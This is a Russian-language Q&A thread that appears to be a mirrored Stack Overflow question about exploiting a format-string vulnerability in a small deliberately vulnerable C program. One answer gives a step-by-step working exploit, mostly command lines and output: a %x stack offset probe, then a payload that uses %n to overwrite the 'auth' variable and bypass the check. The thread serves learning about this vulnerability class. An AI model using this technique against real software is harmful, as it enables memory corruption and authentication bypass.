Как использовать эту уязвимость строкового формата - PullRequest
1 голос
/ 29 мая 2020

У меня есть фрагмент кода, с которым я экспериментировал

#include <stdio.h>
#include <string.h>

void authenticated(void) {
    printf("Authenticated\n");
    fflush(stdout);
}

void authenticate() {
    char buf[200];
    char auth = 0;

    printf("%p\n", &auth);
    fflush(stdout);

    fgets(buf, 200, stdin);

    printf(buf);
    fflush(stdout);

    if (auth) {
        authenticated();
    }
}

int main(void) {
    authenticate();
    return 0;
}

Скомпилировано с

gcc test.c -o test -fno-stack-protector -m32

Я следовал этому руководству здесь https://www.ayrx.me/protostar-walkthrough-format писать произвольные адреса.

Используя этот ввод

AAAA%6$p

, я получаю AAAA0x41414141 в качестве вывода. Теперь, используя напечатанный адрес auth в качестве ввода

\xff\xff\xff\xff%x%x%x%x%x%x%n

, я получаю Segmentation Fault

Ответы [ 2 ]

1 голос
/ 03 июня 2020

Причина, по которой вы получаете ошибку сегментации, вероятно, связана с попыткой записи по неправильному адресу (почему еще). Теперь, экспериментируя с вашей программой, я обнаружил три основные причины, по которым это могло произойти:

  • Попадал не в то место, используя неправильное число %x s
  • Доступ к неправильному адресу из-за ошибок форматирования
  • Сделайте все правильно, но попробуйте использовать неправильный адрес, чтобы начать с

Я почти уверен, что вы правильно поняли первую точку:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

Как мы видим, мне нужно 5 раз %x, чтобы добраться до нужного места. Я должен убедиться, что это будет иметь место каждый раз, когда я запускаю программу подряд:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

Опять же, 5 раз (вероятно, -fno-stack-protector выполняет свою работу). Шестое появление %x необходимо заменить на %n. Если вы введете неправильный номер, вы, скорее всего, столкнетесь с ошибкой сегментации.

Теперь нам нужно убедиться, что мы перезаписываем правильный адрес. Как видно из приведенных выше примеров, адрес auth меняется каждый раз, когда я запускаю программу.
Чтобы получить правильный адрес, нам нужно «ответить» на все, что нам сообщает printf("%p\n", &auth). Я добился этого с помощью следующей команды:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

Как видите, адрес auth печатается, затем запускается Python 3, и я могу ввести все, что захочу, в * программу stdin используя Python.

Но есть еще одна проблема, о которой я упоминал ранее: форматирование. Я мало знаю о Python 3 и о том, как он обрабатывает строки, но если я решу print следующее:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

, я бы ожидал, что содержимое начала нашей входной строки (в шестнадцатеричном формате) должно быть ffffffff, вместо этого я получил bfc3bfc3 в этом месте. Если бы мне пришлось предположить, я бы сказал, что это как-то связано с кодировкой по умолчанию UTF-8, Python 3.

Чтобы обойти это поведение, я использовал вместо него Python 2, который, кажется, по умолчанию имеет ASCII.

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

Единственное, что осталось, - это print правый адрес в правильный порядок байтов, затем 5 раз %x, чтобы переместить указатель стека в правильную позицию, а затем %n, чтобы перезаписать auth чем-то ненулевым.

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

И мы ты в.

0 голосов
/ 01 июня 2020

В общем потоке printf использует fmt для определения типов аргументов и копирует их в свой вывод. Если вы не знаете, где находится вывод или структура управления выводом, вам не повезет, если вы попытаетесь втиснуть в него случайные строки стека или другие подобные вещи.

Если генерации SEGV достаточно эксплойт у вас уже есть ответ; однако есть одна опция форматирования % n , которая идет в другом направлении. % n через указатель в списке аргументов записывает, сколько символов было записано на данный момент. Если мы сможем найти в стеке случайный указатель на & auth, мы сможем создать строку формата, которая проходит через это.

Прежде всего, как выглядит стек? Запустите вашу программу и введите:

% p% p% p% p% p% p .....

и посмотрите на полученные значения . Все, что вам нужно, это на единицу меньше, чем & auth, меньше, чем размер int. Большее не помогает. Если вы можете его найти, вы можете затем установить строку с номером% p, чтобы перейти к этому указателю, затем% n, чтобы перезаписать его. Если вы не найдете ни одного, вы можете продолжить исследование в кадре стека, начав с «% 64p», который переместится в arg # 64 (основание 1), а затем продолжится оттуда.

Если ваша перезапись промахов (скажем, вы были с ошибкой в ​​адресе на один байт), вы можете заменить% 256.256d на один из% p, чтобы увеличить # написанный.

К сожалению, на моей машине и компиляторе (macos, clang ), Я не смог найти значение; и я попытался вызвать некоторые, сдвигая переменные среды, et c, но безуспешно.

...